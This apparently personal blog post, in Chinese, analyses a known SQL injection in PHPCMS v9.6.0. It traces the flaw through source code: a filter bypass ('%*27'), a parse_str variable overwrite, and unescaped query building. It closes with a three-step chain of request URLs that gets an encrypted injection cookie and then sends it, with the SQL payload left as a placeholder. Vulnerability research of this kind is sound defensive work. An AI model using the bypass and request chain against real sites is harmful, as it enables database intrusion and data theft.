大致审了一整个CMS后,决定实际上跟一下一个近期的漏洞。于是挑了PHPCMS v9.6.0好几个月前的洞,一方面资料比较多,一方面自己比较菜。因为不是第一分析者,所以采用从绕过点、传参进库的点到利用点的方式记录。
首先搭建PHPCMS v9.6.0
环境
下载地址:
PHPCMS v9.6.0
配置数据库,一路Next就可以了
先看绕过点:
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
同时过滤了%27
和*
,如果只进行一次这个函数就有可能被绕过,绕过形式%*27
显然安全函数的使用不可能在短期内回溯完
再看传参进库点:
public function init() {
$a_k = trim($_GET['a_k']);
if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
parse_str($a_k);
echo $a_k."<br>";
if(isset($i)) $i = $id = intval($i);
echo $id;
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
$allow_visitor = 1;
$MODEL = getcache('model','commons');
$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id));
$siteids = getcache('category_content','commons');
$siteid = $siteids[$catid];
$CATEGORYS = getcache('category_content_'.$siteid,'commons');
$this->category = $CATEGORYS[$catid];
$this->category_setting = string2array($this->category['setting']);
这里对$a_k
变量进行了一个parse_str()
也就是原有的$id
会被变量覆盖掉。但是注意到下面有一句
if(isset($i)) $i = $id = intval($i);
也就是如果存在$i
就将$id
赋上强制类型转换后的$i
假如不存在$i
,就会导致$id
不产生变化
$id
变量也就完全可控
再看下面的
$rs = $this->db->get_one(array('id'=>$id));
$id
变量直接进入了疑似数据库操作的语句里(phpcms不熟悉,虽然大家都说是查询,但是还是跟进去看看)=>/phpcms/libs/classes/model.class.php
final public function get_one($where = '', $data = '*', $order = '', $group = '') {
if (is_array($where)) $where = $this->sqls($where);
return $this->db->get_one($data, $this->table_name, $where, $order, $group);
}
final public function sqls($where, $font = ' AND ') {
if (is_array($where)) {
$sql = '';
foreach ($where as $key=>$val) {
$sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'";
}
return $sql;
} else {
return $where;
}
}
再进db_class
的get_one()
public function get_one($data, $table, $where = '', $order = '', $group = '') {
$where = $where == '' ? '' : ' WHERE '.$where;
$order = $order == '' ? '' : ' ORDER BY '.$order;
$group = $group == '' ? '' : ' GROUP BY '.$group;
$limit = ' LIMIT 1';
$field = explode( ',', $data);
array_walk($field, array($this, 'add_special_char'));
$data = implode(',', $field);
$sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;
echo $sql;
$this->execute($sql);
$res = $this->fetch_next();
$this->free_result();
return $res;
}
数据库类没有多余操作,因此可以注入
继续回溯$a_k
变量
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
sys_auth
跟过去是个加密解密函数
而这里是进行一个解密操作
想要注入先加密
public static function set_cookie($var, $value = '', $time = 0) {
$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
$var = pc_base::load_config('system','cookie_pre').$var;
$_COOKIE[$var] = $value;
if (is_array($value)) {
foreach($value as $k=>$v) {
setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
} else {
setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
}
全局搜一下貌似只有set_cookie()
方法中的明文可控
public static function set_cookie($var, $value = '', $time = 0) {
$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
$var = pc_base::load_config('system','cookie_pre').$var;
$_COOKIE[$var] = $value;
if (is_array($value)) {
foreach($value as $k=>$v) {
setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
} else {
setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
}
set_cookie
函数对于$v
没有任何校验
那就set_cookie呗
全局跟一遍 太多了就不筛选了 这是Ven师傅利用的地方那就直接进吧
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
param::set_cookie('att_json',$json_str);
return true;
}
}
???
$json_str
可控
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
显然直接利用不会存在这个cookie=>att_json
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp))
既然没有了$att_arr_exist
变量就理所应当的直接控制了
然后就回到了$arr['src']
变量去绕过一开始的安全函数
然后就是看phpcms的路由了 ==> phpcms/libs/classes/param.class.php
默认的获取的路由是 ==> ?m=content&c=index&a=init
==> array('m'=>'content', 'c'=>'index', 'a'=>'init')
然后对相应的参数进行解析m是模型 c是类 a是方法
思路: 首先从attachment模型用attachment类中的swfupload_json获取加密的cookie ==> 再从index模型用down类中的init方法注入
在获取加密cookie前attachment中有自动加载会校验userid,因此在进行前还应该获取userid:
http://url/index.php?m=wap&c=index&a=init&siteid=1
获取有注入的加密cookie
http://url/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27+[sqli]
获取注入信息
/index.php?m=content&c=down&a=init&a_k=encoded_cookie
参考文章:
phpcms-v9中url路由规则文件分析
PHPCMS V9.6.0注入分析
(:3[▓▓] (:3[▓▓▓▓▓▓▓▓▓] (¦3[▓▓]
我宣布修仙失败
[...]【挖坟】PHPCMS v9.6.0 SQL注入[...]